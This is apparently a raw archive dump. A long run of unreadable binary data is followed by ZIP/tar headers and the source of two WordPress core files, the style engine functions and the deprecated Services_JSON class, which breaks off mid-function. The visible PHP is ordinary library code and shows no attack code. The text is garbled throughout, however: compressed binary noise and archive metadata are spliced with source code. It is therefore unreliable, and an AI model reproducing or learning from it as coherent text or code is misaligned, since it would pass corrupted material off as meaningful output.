TK+KR]#zb@~_+uvY{7]* BTdQ\\=K޺1" ~O;H`!誣8$YsЎoH;ۿxםͶoo݊U;ȁXա8ٻthڃW|/׮ xpɂ][vޒ {bWW݈0_Zr-?n|/Y+,1fu^C @D׶ Y>TeplWI vZؒފqLc?ۿnqL^]S~sR[rbuLaan,Y D2WMu\|$Ć\pj8LQdq#k >0+뀡Z9;AEzց\tC=AbCy#ZתOgaVi- c!?"# xI~DN87E&a7أO(ŝI+I6-Sח0zU4XAJ)~=eG>؛JA+vk*m|x\Z΢@'h}'O:73'/ kؑyFćk)~&YvMS<|SH@E%Ȏl1e! WrAgx+pF%-l,u1)0$9ap[BgH! 1^}#yEݼ~^QGX&?֓`Np/sҧq0t"IR[ |9? mh /S4:u.V[{!]ѕ#=B&cl~829CPi`g)#TI\KptewfEn$y ];Md`JZJ ̙,2t ;=7YE`bq>B,aTK^Wi [u5F[ǵ6,[w&s[eNS[93[ۅÆ9@xZ:٫>\K/$2=}<Gӓ;p.ryeyH/YZs5RuP(} s},P=leؘ"TL1aU*UO|3Ǖr'R|}:j^uq4%-I}D(l'8jyr;9\P(i. tWJQ6;2i|)sN%C\^`#Al1n$ě2A\HDaXLf.1k(;2&(Ck ၉ t~U#g&3XAq.8-^%q:N%I)k Ul `G-£bD0%w5%w//xWmb }t݈ox ]/ BdӰՙo1IbG RQPba DFmD uD;(>ʦ¼ 'RR `l(M)xw7i^ͳt^fSKzV\¸9 gɅ MSn[t %ܞYecX$-1Ye) iiNDv CH 9B YMzHS n6q rq>]1]P/#(r/ ;ETϫpN`pPmU|Mk&5sy':m]d"CXzSQ,ҝ&"H{7۪u%^dh<=%d|c^ܡ6rt*LֳܺlƏ W KaC+B,JZaCӕ_q6U^NO 0_K f Co.9WPucttӝ^%ppV$aʱ}`?<},bPQM@lbg(oJ Rԃ+H + RX>㋭`>,gIB9!`J43WU/"6IE@`<drMz}9#Ғ;~#~MFBmJqg&7cNVCaCTQܺCzZzpڣi&i9R @q v: ˾@5 Dhx'mn u>}7W"!FhHHBPވK 1jj}N$"$RMҦ3OR\P:NO̊8D+B4t~mG.ϝJFO)?Z8,(&d!wfy@7=j67\Sҥ J\1z0^V;1tcwhsR*{ 41Nks5"'nSZ_ G~Y cT:tBYi]nM*WL%}M i j yBS=B+3Go~k(+9L6R U$J#:Ӂbو/cBrm3Gʌ;ms:sVBThH8w$*-/v$3i8lu:.%&r'+ajc޽" r\fCwQQsڪtMp8(Yi dU6 */ml1/Q 2$-%;.]dXܖte\3wÛ!Z$qt(PB{\;᜗񐟂|Wd7/ y>z@TIL \7=1?On &z`Bn"ro+:Zob wH!-$|U RP>9©]6D$@lxՉ@=xUT.3W!"}(R Ġyryܿ?z#F: 9)/;ҖQKC ]1qI> UAFo \b0.B!\` |y+xPtaI_1P` y9o. @+`>p. %,/e;*FO+Ȏwɬgڹp+w8fB>|c&W)C3D#D*Mdw9J0MCn7qM:M9| x.m"F^Zpm e2Ȑ LE* ZW۵ئc(a-= "{fK`d>}uN@TصŰu5!7:T4}ڸͰ>lަ^/$>C )) ! 1yZI+TnvHMl悗P>4<&%gb̼$lq7s"j>j<6 7udzﵪ)AMKt+ԞtxM2y(>!E+G*P4\Pi%7(tA bHsbѣIݒP@<`nѕ۝\&PqMeg][j˳2WAՐ3E cfbƧ%!O'ޯAV\V6[8dkW!4̃yV~gXf֙8qb+aJOB3 e%BS.rZ\yL!_io$o& 26sꗻ0kA4 G '!k`X{sZY5cf0f@ :3vιW΁&a7n(*ۊ}ca^ 5=3`G|7Nc`3)FF~Uza#Ȧuq{\ :63¡N2?m>6`4ʨQоEp܍bZ̗O6>ܣpxbH\E%fpKKgv$6@M<*!.T-p>_We6JFRlN;@$o֋-ks}A;?|kZ`׷>טqn&_߂BP@w3Tù7 X61`K!0Fߡ/$N[ISM 啉:[F+fª6i(zuւXUV#brԃUBv7MRYV|nQKv}ʓh1gb哠r9 &YuTLo$F1ޣ0W6\*nهuIB53_mLƟXk2Bw+D̜ ta7 DYu76ndFP/.'bQp* Xb2;k-3ob84!`xkoٍ[w%F nG{W|lCBgFW7\ =U _~wp֤sJ(!\.7:ܜM^fh w4+[A1:xZ7*["TbfȮ/ȗ@@p{E-;Oi<.һuh مrIP=؞\SBU|PW*>򫄭-~nuI ϣ\jW1F $<9E=dz1$Nͳ^5FcaQ \C `&yGɁcIFcW6b!v&DŽ~. 6< W/etuDԢ"ץۄ9sܤy]:{_}%`G|(VxD>Ml􁝋 mZ]A~N@Dŧ| g2ǥȃ㋆6ۈAs8*Kftt}՘u7cVg@xǿ((㾲%+_a2ώAeIuRLG[Sg͘Q. +M}ܦR-_a|&1G)NNqD ۣBЧ&fTc ag}%LÌ*\ Uo88j`_99ӕ1w /\4PxOakt!i&dEIH@6v;|,̲o+p.kk0!X<.Y۔e+'AHb-[}s`9гs/bM e*<k5ُ~18f$g0|1 "@`2ǒn:%@/VKާ_bN`!RCW//l35 d(ilG[ z|ї% Z@I10GK=O:=*RuKu8иϯ~ؼ#o}$lW70('睗5inVyNO*+2> Ht7Z\qy8qzȤoRի<'AI!&3"}s15WJ PEHnڵ /.v>-'9c>'}U!<ȑѫۿ:}FQ#1`W=1s S r2ps0;U '=Q۷ $[֎~er&RRN59/Cl2󧗒#3sJdovȣݩ˘f>: 1]`F!qp Q} ."P]t~ۖm x7aư lBł84C{&>պ= FRC5RqzJ?G65)D7)u:[|O=3eUH#,V$r "y.dyfzLE"&-Ȩw(3[̢kϻǝ6$4 &ӛ"?QXށ_q*2a𴡪>^Jla֒I5Ӕ0b̩S8 c_RH[`N^Lg|&M/:88gP~,11I"p~Ț$;ps$ڒm Z!QX2~&(XN*u`ᣌnؐ L,aA z1SvH~y坽]?poS6z,m'm6&d:=0}R^~b`᪕I@wVX`~ZFV;M̀#I>MYabtsĀ|Z. M5T6SF5rFb<޹zʗr[d ^'.^xK^xe@rxY)MEes ȒYa}%h.Ï8gӼ[sN+I7&w _t 9rL7)8V_T;&_$bgXa6DىΒ#8Sozk<^c“(^!_7 t-\k01cI] ESͻ%N<=D$1%MvBDJŘɶ`K\#XQb܋[ߵ*ijIJgc h 1鬠4l #-T$!AYjI(p;Ӯmgw2N$f6u~=frjϝewZ$jY ndDV.뇀6ğ0*>i[_Jw8KIjN a5t&E~>KZn# }ڄj$$uWPYo #@IJZ"FDm:߉j7؁swBM4H]&Sp "wΥm I*~|hOr'>N ;qQ1'tV,`DNv8"[ q`hC7Pc 4qp5YrH ^5}h*87i^2Sb3Eǿ?~wPK $[/s$$style-engine.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/style-engine.php000064400000016613150547665550020301 0ustar00 array( 'text' => '#cccccc' ), * ) * ); * * Returns: * * array( * 'css' => 'color: #cccccc', * 'declarations' => array( 'color' => '#cccccc' ), * 'classnames' => 'has-color', * ) * * @since 6.1.0 * * @see https://developer.wordpress.org/block-editor/reference-guides/theme-json-reference/theme-json-living/#styles * @see https://developer.wordpress.org/block-editor/reference-guides/block-api/block-supports/ * * @param array $block_styles The style object. * @param array $options { * Optional. An array of options. Default empty array. * * @type string|null $context An identifier describing the origin of the style object, * e.g. 'block-supports' or 'global-styles'. Default null. * When set, the style engine will attempt to store the CSS rules, * where a selector is also passed. * @type bool $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns, * e.g. `var:preset||`, * to `var( --wp--preset--* )` values. Default false. * @type string $selector Optional. When a selector is passed, * the value of `$css` in the return value will comprise * a full CSS rule `$selector { ...$css_declarations }`, * otherwise, the value will be a concatenated string * of CSS declarations. * } * @return array { * @type string $css A CSS ruleset or declarations block * formatted to be placed in an HTML `style` attribute or tag. * @type string[] $declarations An associative array of CSS definitions, * e.g. `array( "$property" => "$value", "$property" => "$value" )`. * @type string $classnames Classnames separated by a space. * } */ function wp_style_engine_get_styles( $block_styles, $options = array() ) { $options = wp_parse_args( $options, array( 'selector' => null, 'context' => null, 'convert_vars_to_classnames' => false, ) ); $parsed_styles = WP_Style_Engine::parse_block_styles( $block_styles, $options ); // Output. $styles_output = array(); if ( ! empty( $parsed_styles['declarations'] ) ) { $styles_output['css'] = WP_Style_Engine::compile_css( $parsed_styles['declarations'], $options['selector'] ); $styles_output['declarations'] = $parsed_styles['declarations']; if ( ! empty( $options['context'] ) ) { WP_Style_Engine::store_css_rule( $options['context'], $options['selector'], $parsed_styles['declarations'] ); } } if ( ! empty( $parsed_styles['classnames'] ) ) { $styles_output['classnames'] = implode( ' ', array_unique( $parsed_styles['classnames'] ) ); } return array_filter( $styles_output ); } /** * Returns compiled CSS from a collection of selectors and declarations. * Useful for returning a compiled stylesheet from any collection of CSS selector + declarations. * * Example usage: * * $css_rules = array( * array( * 'selector' => '.elephant-are-cool', * 'declarations' => array( * 'color' => 'gray', * 'width' => '3em', * ), * ), * ); * * $css = wp_style_engine_get_stylesheet_from_css_rules( $css_rules ); * * Returns: * * .elephant-are-cool{color:gray;width:3em} * * @since 6.1.0 * @since 6.6.0 Added support for `$rules_group` in the `$css_rules` array. * * @param array $css_rules { * Required. A collection of CSS rules. * * @type array ...$0 { * @type string $rules_group A parent CSS selector in the case of nested CSS, * or a CSS nested @rule, such as `@media (min-width: 80rem)` or `@layer module`. * @type string $selector A CSS selector. * @type string[] $declarations An associative array of CSS definitions, * e.g. `array( "$property" => "$value", "$property" => "$value" )`. * } * } * @param array $options { * Optional. An array of options. Default empty array. * * @type string|null $context An identifier describing the origin of the style object, * e.g. 'block-supports' or 'global-styles'. Default 'block-supports'. * When set, the style engine will attempt to store the CSS rules. * @type bool $optimize Whether to optimize the CSS output, e.g. combine rules. * Default false. * @type bool $prettify Whether to add new lines and indents to output. * Defaults to whether the `SCRIPT_DEBUG` constant is defined. * } * @return string A string of compiled CSS declarations, or empty string. */ function wp_style_engine_get_stylesheet_from_css_rules( $css_rules, $options = array() ) { if ( empty( $css_rules ) ) { return ''; } $options = wp_parse_args( $options, array( 'context' => null, ) ); $css_rule_objects = array(); foreach ( $css_rules as $css_rule ) { if ( empty( $css_rule['selector'] ) || empty( $css_rule['declarations'] ) || ! is_array( $css_rule['declarations'] ) ) { continue; } $rules_group = $css_rule['rules_group'] ?? null; if ( ! empty( $options['context'] ) ) { WP_Style_Engine::store_css_rule( $options['context'], $css_rule['selector'], $css_rule['declarations'], $rules_group ); } $css_rule_objects[] = new WP_Style_Engine_CSS_Rule( $css_rule['selector'], $css_rule['declarations'], $rules_group ); } if ( empty( $css_rule_objects ) ) { return ''; } return WP_Style_Engine::compile_stylesheet_from_css_rules( $css_rule_objects, $options ); } /** * Returns compiled CSS from a store, if found. * * @since 6.1.0 * * @param string $context A valid context name, corresponding to an existing store key. * @param array $options { * Optional. An array of options. Default empty array. * * @type bool $optimize Whether to optimize the CSS output, e.g. combine rules. * Default false. * @type bool $prettify Whether to add new lines and indents to output. * Defaults to whether the `SCRIPT_DEBUG` constant is defined. * } * @return string A compiled CSS string. */ function wp_style_engine_get_stylesheet_from_context( $context, $options = array() ) { return WP_Style_Engine::compile_stylesheet_from_css_rules( WP_Style_Engine::get_store( $context )->get_all_rules(), $options ); } PK $[@-class-json.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/class-json.php000064400000125244150547754110017742 0ustar00 * @author Matt Knapp * @author Brett Stimmerman * @copyright 2005 Michal Migurski * @version CVS: $Id: JSON.php 305040 2010-11-02 23:19:03Z alan_k $ * @license https://www.opensource.org/licenses/bsd-license.php * @link https://pear.php.net/pepr/pepr-proposal-show.php?id=198 */ /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_SLICE', 1); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_STR', 2); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_ARR', 3); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_OBJ', 4); /** * Marker constant for Services_JSON::decode(), used to flag stack state */ define('SERVICES_JSON_IN_CMT', 5); /** * Behavior switch for Services_JSON::decode() */ define('SERVICES_JSON_LOOSE_TYPE', 16); /** * Behavior switch for Services_JSON::decode() */ define('SERVICES_JSON_SUPPRESS_ERRORS', 32); /** * Behavior switch for Services_JSON::decode() */ define('SERVICES_JSON_USE_TO_JSON', 64); /** * Converts to and from JSON format. * * Brief example of use: * * * // create a new instance of Services_JSON * $json = new Services_JSON(); * * // convert a complex value to JSON notation, and send it to the browser * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4))); * $output = $json->encode($value); * * print($output); * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]] * * // accept incoming POST data, assumed to be in JSON notation * $input = file_get_contents('php://input', 1000000); * $value = $json->decode($input); * */ class Services_JSON { /** * Object behavior flags. * * @var int */ public $use; // private - cache the mbstring lookup results.. var $_mb_strlen = false; var $_mb_substr = false; var $_mb_convert_encoding = false; /** * constructs a new JSON instance * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param int $use object behavior flags; combine with boolean-OR * * possible values: * - SERVICES_JSON_LOOSE_TYPE: loose typing. * "{...}" syntax creates associative arrays * instead of objects in decode(). * - SERVICES_JSON_SUPPRESS_ERRORS: error suppression. * Values which can't be encoded (e.g. resources) * appear as NULL instead of throwing errors. * By default, a deeply-nested resource will * bubble up with an error, so all return values * from encode() should be checked with isError() * - SERVICES_JSON_USE_TO_JSON: call toJSON when serializing objects * It serializes the return value from the toJSON call rather * than the object itself, toJSON can return associative arrays, * strings or numbers, if you return an object, make sure it does * not have a toJSON method, otherwise an error will occur. */ function __construct( $use = 0 ) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); $this->use = $use; $this->_mb_strlen = function_exists('mb_strlen'); $this->_mb_convert_encoding = function_exists('mb_convert_encoding'); $this->_mb_substr = function_exists('mb_substr'); } /** * PHP4 constructor. * * @deprecated 5.3.0 Use __construct() instead. * * @see Services_JSON::__construct() */ public function Services_JSON( $use = 0 ) { _deprecated_constructor( 'Services_JSON', '5.3.0', get_class( $this ) ); self::__construct( $use ); } /** * convert a string from one UTF-16 char to one UTF-8 char * * Normally should be handled by mb_convert_encoding, but * provides a slower PHP-only method for installations * that lack the multibye string extension. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string $utf16 UTF-16 character * @return string UTF-8 character * @access private */ function utf162utf8($utf16) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); // oh please oh please oh please oh please oh please if($this->_mb_convert_encoding) { return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16'); } $bytes = (ord($utf16[0]) << 8) | ord($utf16[1]); switch(true) { case ((0x7F & $bytes) == $bytes): // this case should never be reached, because we are in ASCII range // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0x7F & $bytes); case (0x07FF & $bytes) == $bytes: // return a 2-byte UTF-8 character // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0xC0 | (($bytes >> 6) & 0x1F)) . chr(0x80 | ($bytes & 0x3F)); case (0xFFFF & $bytes) == $bytes: // return a 3-byte UTF-8 character // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0xE0 | (($bytes >> 12) & 0x0F)) . chr(0x80 | (($bytes >> 6) & 0x3F)) . chr(0x80 | ($bytes & 0x3F)); } // ignoring UTF-32 for now, sorry return ''; } /** * convert a string from one UTF-8 char to one UTF-16 char * * Normally should be handled by mb_convert_encoding, but * provides a slower PHP-only method for installations * that lack the multibyte string extension. * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string $utf8 UTF-8 character * @return string UTF-16 character * @access private */ function utf82utf16($utf8) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); // oh please oh please oh please oh please oh please if($this->_mb_convert_encoding) { return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8'); } switch($this->strlen8($utf8)) { case 1: // this case should never be reached, because we are in ASCII range // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return $utf8; case 2: // return a UTF-16 character from a 2-byte UTF-8 char // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr(0x07 & (ord($utf8[0]) >> 2)) . chr((0xC0 & (ord($utf8[0]) << 6)) | (0x3F & ord($utf8[1]))); case 3: // return a UTF-16 character from a 3-byte UTF-8 char // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 return chr((0xF0 & (ord($utf8[0]) << 4)) | (0x0F & (ord($utf8[1]) >> 2))) . chr((0xC0 & (ord($utf8[1]) << 6)) | (0x7F & ord($utf8[2]))); } // ignoring UTF-32 for now, sorry return ''; } /** * encodes an arbitrary variable into JSON format (and sends JSON Header) * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param mixed $var any number, boolean, string, array, or object to be encoded. * see argument 1 to Services_JSON() above for array-parsing behavior. * if var is a string, note that encode() always expects it * to be in ASCII or UTF-8 format! * * @return mixed JSON string representation of input var or an error if a problem occurs * @access public */ function encode($var) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); header('Content-Type: application/json'); return $this->encodeUnsafe($var); } /** * encodes an arbitrary variable into JSON format without JSON Header - warning - may allow XSS!!!!) * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param mixed $var any number, boolean, string, array, or object to be encoded. * see argument 1 to Services_JSON() above for array-parsing behavior. * if var is a string, note that encode() always expects it * to be in ASCII or UTF-8 format! * * @return mixed JSON string representation of input var or an error if a problem occurs * @access public */ function encodeUnsafe($var) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); // see bug #16908 - regarding numeric locale printing $lc = setlocale(LC_NUMERIC, 0); setlocale(LC_NUMERIC, 'C'); $ret = $this->_encode($var); setlocale(LC_NUMERIC, $lc); return $ret; } /** * PRIVATE CODE that does the work of encodes an arbitrary variable into JSON format * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param mixed $var any number, boolean, string, array, or object to be encoded. * see argument 1 to Services_JSON() above for array-parsing behavior. * if var is a string, note that encode() always expects it * to be in ASCII or UTF-8 format! * * @return mixed JSON string representation of input var or an error if a problem occurs * @access public */ function _encode($var) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); switch (gettype($var)) { case 'boolean': return $var ? 'true' : 'false'; case 'NULL': return 'null'; case 'integer': return (int) $var; case 'double': case 'float': return (float) $var; case 'string': // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT $ascii = ''; $strlen_var = $this->strlen8($var); /* * Iterate over every character in the string, * escaping with a slash or encoding to UTF-8 where necessary */ for ($c = 0; $c < $strlen_var; ++$c) { $ord_var_c = ord($var[$c]); switch (true) { case $ord_var_c == 0x08: $ascii .= '\b'; break; case $ord_var_c == 0x09: $ascii .= '\t'; break; case $ord_var_c == 0x0A: $ascii .= '\n'; break; case $ord_var_c == 0x0C: $ascii .= '\f'; break; case $ord_var_c == 0x0D: $ascii .= '\r'; break; case $ord_var_c == 0x22: case $ord_var_c == 0x2F: case $ord_var_c == 0x5C: // double quote, slash, slosh $ascii .= '\\'.$var[$c]; break; case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)): // characters U-00000000 - U-0000007F (same as ASCII) $ascii .= $var[$c]; break; case (($ord_var_c & 0xE0) == 0xC0): // characters U-00000080 - U-000007FF, mask 110XXXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 if ($c+1 >= $strlen_var) { $c += 1; $ascii .= '?'; break; } $char = pack('C*', $ord_var_c, ord($var[$c + 1])); $c += 1; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xF0) == 0xE0): if ($c+2 >= $strlen_var) { $c += 2; $ascii .= '?'; break; } // characters U-00000800 - U-0000FFFF, mask 1110XXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, @ord($var[$c + 1]), @ord($var[$c + 2])); $c += 2; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xF8) == 0xF0): if ($c+3 >= $strlen_var) { $c += 3; $ascii .= '?'; break; } // characters U-00010000 - U-001FFFFF, mask 11110XXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3])); $c += 3; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xFC) == 0xF8): // characters U-00200000 - U-03FFFFFF, mask 111110XX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 if ($c+4 >= $strlen_var) { $c += 4; $ascii .= '?'; break; } $char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3]), ord($var[$c + 4])); $c += 4; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; case (($ord_var_c & 0xFE) == 0xFC): if ($c+5 >= $strlen_var) { $c += 5; $ascii .= '?'; break; } // characters U-04000000 - U-7FFFFFFF, mask 1111110X // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $char = pack('C*', $ord_var_c, ord($var[$c + 1]), ord($var[$c + 2]), ord($var[$c + 3]), ord($var[$c + 4]), ord($var[$c + 5])); $c += 5; $utf16 = $this->utf82utf16($char); $ascii .= sprintf('\u%04s', bin2hex($utf16)); break; } } return '"'.$ascii.'"'; case 'array': /* * As per JSON spec if any array key is not an integer * we must treat the whole array as an object. We * also try to catch a sparsely populated associative * array with numeric keys here because some JS engines * will create an array with empty indexes up to * max_index which can cause memory issues and because * the keys, which may be relevant, will be remapped * otherwise. * * As per the ECMA and JSON specification an object may * have any string as a property. Unfortunately due to * a hole in the ECMA specification if the key is a * ECMA reserved word or starts with a digit the * parameter is only accessible using ECMAScript's * bracket notation. */ // treat as a JSON object if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) { $properties = array_map(array($this, 'name_value'), array_keys($var), array_values($var)); foreach($properties as $property) { if(Services_JSON::isError($property)) { return $property; } } return '{' . join(',', $properties) . '}'; } // treat it like a regular array $elements = array_map(array($this, '_encode'), $var); foreach($elements as $element) { if(Services_JSON::isError($element)) { return $element; } } return '[' . join(',', $elements) . ']'; case 'object': // support toJSON methods. if (($this->use & SERVICES_JSON_USE_TO_JSON) && method_exists($var, 'toJSON')) { // this may end up allowing unlimited recursion // so we check the return value to make sure it's not got the same method. $recode = $var->toJSON(); if (method_exists($recode, 'toJSON')) { return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS) ? 'null' : new Services_JSON_Error(get_class($var). " toJSON returned an object with a toJSON method."); } return $this->_encode( $recode ); } $vars = get_object_vars($var); $properties = array_map(array($this, 'name_value'), array_keys($vars), array_values($vars)); foreach($properties as $property) { if(Services_JSON::isError($property)) { return $property; } } return '{' . join(',', $properties) . '}'; default: return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS) ? 'null' : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string"); } } /** * array-walking function for use in generating JSON-formatted name-value pairs * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string $name name of key to use * @param mixed $value reference to an array element to be encoded * * @return string JSON-formatted name-value pair, like '"name":value' * @access private */ function name_value($name, $value) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); $encoded_value = $this->_encode($value); if(Services_JSON::isError($encoded_value)) { return $encoded_value; } return $this->_encode((string) $name) . ':' . $encoded_value; } /** * reduce a string by removing leading and trailing comments and whitespace * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param $str string string value to strip of comments and whitespace * * @return string string value stripped of comments and whitespace * @access private */ function reduce_string($str) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); $str = preg_replace(array( // eliminate single line comments in '// ...' form '#^\s*//(.+)$#m', // eliminate multi-line comments in '/* ... */' form, at start of string '#^\s*/\*(.+)\*/#Us', // eliminate multi-line comments in '/* ... */' form, at end of string '#/\*(.+)\*/\s*$#Us' ), '', $str); // eliminate extraneous space return trim($str); } /** * decodes a JSON string into appropriate variable * * @deprecated 5.3.0 Use the PHP native JSON extension instead. * * @param string $str JSON-formatted string * * @return mixed number, boolean, string, array, or object * corresponding to given JSON input string. * See argument 1 to Services_JSON() above for object-output behavior. * Note that decode() always returns strings * in ASCII or UTF-8 format! * @access public */ function decode($str) { _deprecated_function( __METHOD__, '5.3.0', 'The PHP native JSON extension' ); $str = $this->reduce_string($str); switch (strtolower($str)) { case 'true': return true; case 'false': return false; case 'null': return null; default: $m = array(); if (is_numeric($str)) { // Lookie-loo, it's a number // This would work on its own, but I'm trying to be // good about returning integers where appropriate: // return (float)$str; // Return float or int, as appropriate return ((float)$str == (integer)$str) ? (integer)$str : (float)$str; } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) { // STRINGS RETURNED IN UTF-8 FORMAT $delim = $this->substr8($str, 0, 1); $chrs = $this->substr8($str, 1, -1); $utf8 = ''; $strlen_chrs = $this->strlen8($chrs); for ($c = 0; $c < $strlen_chrs; ++$c) { $substr_chrs_c_2 = $this->substr8($chrs, $c, 2); $ord_chrs_c = ord($chrs[$c]); switch (true) { case $substr_chrs_c_2 == '\b': $utf8 .= chr(0x08); ++$c; break; case $substr_chrs_c_2 == '\t': $utf8 .= chr(0x09); ++$c; break; case $substr_chrs_c_2 == '\n': $utf8 .= chr(0x0A); ++$c; break; case $substr_chrs_c_2 == '\f': $utf8 .= chr(0x0C); ++$c; break; case $substr_chrs_c_2 == '\r': $utf8 .= chr(0x0D); ++$c; break; case $substr_chrs_c_2 == '\\"': case $substr_chrs_c_2 == '\\\'': case $substr_chrs_c_2 == '\\\\': case $substr_chrs_c_2 == '\\/': if (($delim == '"' && $substr_chrs_c_2 != '\\\'') || ($delim == "'" && $substr_chrs_c_2 != '\\"')) { $utf8 .= $chrs[++$c]; } break; case preg_match('/\\\u[0-9A-F]{4}/i', $this->substr8($chrs, $c, 6)): // single, escaped unicode character $utf16 = chr(hexdec($this->substr8($chrs, ($c + 2), 2))) . chr(hexdec($this->substr8($chrs, ($c + 4), 2))); $utf8 .= $this->utf162utf8($utf16); $c += 5; break; case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F): $utf8 .= $chrs[$c]; break; case ($ord_chrs_c & 0xE0) == 0xC0: // characters U-00000080 - U-000007FF, mask 110XXXXX //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 2); ++$c; break; case ($ord_chrs_c & 0xF0) == 0xE0: // characters U-00000800 - U-0000FFFF, mask 1110XXXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 3); $c += 2; break; case ($ord_chrs_c & 0xF8) == 0xF0: // characters U-00010000 - U-001FFFFF, mask 11110XXX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 4); $c += 3; break; case ($ord_chrs_c & 0xFC) == 0xF8: // characters U-00200000 - U-03FFFFFF, mask 111110XX // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 5); $c += 4; break; case ($ord_chrs_c & 0xFE) == 0xFC: // characters U-04000000 - U-7FFFFFFF, mask 1111110X // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8 $utf8 .= $this->substr8($chrs, $c, 6); $c += 5; break; } } return $utf8; } elseif (preg_match('/^\[.*\]$/s', $str) || preg_match('/^\{.*\}$/s', $str)) { // array, or object notation if ($str[0] == '[') { $stk = array(SERVICES_JSON_IN_ARR); $arr = array(); } else { if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $stk = array(SERVICES_JSON_IN_OBJ); $obj = array(); } else { $stk = array(SERVICES_JSON_IN_OBJ); $obj = new stdClass(); } } array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => 0, 'delim' => false)); $chrs = $this->substr8($str, 1, -1); $chrs = $this->reduce_string($chrs); if ($chrs == '') { if (reset($stk) == SERVICES_JSON_IN_ARR) { return $arr; } else { return $obj; } } //print("\nparsing {$chrs}\n"); $strlen_chrs = $this->strlen8($chrs); for ($c = 0; $c <= $strlen_chrs; ++$c) { $top = end($stk); $substr_chrs_c_2 = $this->substr8($chrs, $c, 2); if (($c == $strlen_chrs) || (($chrs[$c] == ',') && ($top['what'] == SERVICES_JSON_SLICE))) { // found a comma that is not inside a string, array, etc., // OR we've reached the end of the character list $slice = $this->substr8($chrs, $top['where'], ($c - $top['where'])); array_push($stk, array('what' => SERVICES_JSON_SLICE, 'where' => ($c + 1), 'delim' => false)); //print("Found split at {$c}: ".$this->substr8($chrs, $top['where'], (1 + $c - $top['where']))."\n"); if (reset($stk) == SERVICES_JSON_IN_ARR) { // we are in an array, so just push an element onto the stack array_push($arr, $this->decode($slice)); } elseif (reset($stk) == SERVICES_JSON_IN_OBJ) { // we are in an object, so figure // out the property name and set an // element in an associative array, // for now $parts = array(); if (preg_match('/^\s*(["\'].*[^\\\]["\'])\s*:/Uis', $slice, $parts)) { // "name":value pair $key = $this->decode($parts[1]); $val = $this->decode(trim(substr($slice, strlen($parts[0])), ", \t\n\r\0\x0B")); if ($this->use & SERVICES_JSON_LOOSE_TYPE) { $obj[$key] = $val; } else { $obj->$key = $val; } } elseif (preg_match('/^\s*(\w+)\s*:/Uis', $slice, $parts)) { // name:value pair, where name is unquoted $key = $parts[1]; 